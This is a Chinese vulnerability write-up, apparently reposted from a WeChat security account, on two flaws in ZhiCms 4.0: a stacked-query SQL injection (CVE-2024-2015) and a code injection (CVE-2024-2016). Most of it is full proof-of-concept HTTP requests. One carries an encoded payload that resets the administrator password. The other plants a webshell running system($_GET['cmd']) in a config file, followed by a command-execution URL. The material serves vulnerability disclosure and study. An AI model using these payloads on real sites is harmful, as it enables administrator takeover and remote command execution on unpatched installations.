ZhiCms 4.0的SQL注入与RCE
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请联系。
由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
漏洞详情
在ZhiCms4.0中sql漏洞代码文件是app/index/controller/mcontroller.php中的getindexdata函数。对参数key进行恶意编码,然而会导致SQL注入,该漏洞编号为CVE-2024-2015,攻击者可直接修改原账户密码登操作。
RCE漏洞代码文件app/manage/controller/setcontroller.php中的index函数。通过参数sitename可以导致代码注入。该漏洞编号为CVE-2024-2016。攻击者可以远程发起攻击。
源代码获取处
https://www.zhicms.cc/
https://gitee.com/dazensun/zhicms
漏洞代码存在位置
app/index/controller/mcontroller.php#getindexdata
app/manage/controller/setcontroller.php
漏洞分析
0x01 sql
在函数app/index/controller/mcontroller.php#getindexdata中存在一个SQL注入漏洞,允许使用;作为分隔符执行多个SQL语句。
可以发送以下poc数据包来将管理员密码重置为"admin"。
更新 yun_manage 表中 id 为 1 的记录的密码为 'bbe375100175e7b98339a98e0a07083b'。
POST /index.php?r=index/m/getindexdata HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 289
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
sec-ch-ua-platform: "macOS"
Origin: http://127.0.0.1:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/index.php?r=manage/login/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gclnhtp52rldnj5p9ckp389h2h
Connection: close
action=search&key=%2525%2527%253Bupdate%2520yun%255Fmanage%2520set%2520password%253D%2527bbe375100175e7b98339a98e0a07083b%2527%2520where%2520id%253D%25271%2527%253BSELECT%2520%252A%2520FROM%2520%2560yun%255Farticle%2560%2520%2520WHERE%2520%2560title%2560%2520LIKE%2520%2520%2527%2525&mall=
更新yun_manage表中id为1所设置的密码为'bbe375100175e7b98339a98e0a07083b',同时使用了分号(;)作为语句的分隔符。
随后,可以访问网站的管理员登录页面,网址为
http://127.0.0.1:8888/index.php?r=manage/login/index
然后使用admin/admin登录直接进入后台。
0x02 RCE
此外,在函数app/manage/controller/setcontroller.php#index中存在一项危险的操作,即PHP代码拼接写入文件。
可以发送以下数据包来关闭PHP代码同时编写一个马子。
POST /index.php?r=manage/set/index HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 229
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1:8888
Referer: http://127.0.0.1:8888/index.php?r=manage/set/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=96d562012a5fde8577cbd6ea765d69ed
Connection: close
sitename=')%3Bsystem(%24_GET%5B'cmd'%5D)%3B%2F*&hosturl=&logo=public%2Fweb%2Fimages%2Flogoh2014r.png&ewm=public%2Fweb%2Fimages%2Flogoh2014r.png&appkey=&secretKey=&pid=&apiurl=https%3A%2F%2Fopen.push.red%2F&code=&zhuan=0&download=
其作用是通过 system 函数执行一个由 HTTP 请求中的 "cmd" 参数指定的命令。因此攻击者可以在URL中通过cmd
参数执行任意操作系统命令。通过构造包含恶意代码的URL,并发送给受影响的ZhiCms4.0应用,攻击者可以利用这个漏洞来实现远程代码执行攻击。
之后,访问恶意PHP文件可直接RCE!!!
比如直接打开计算器
http://127.0.0.1:8888/data/config/siteconfig.php?cmd=open -a Calculator
原文始发于微信公众号(不秃头的安全):漏洞分析 | ZhiCms 4.0的SQL注入与RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论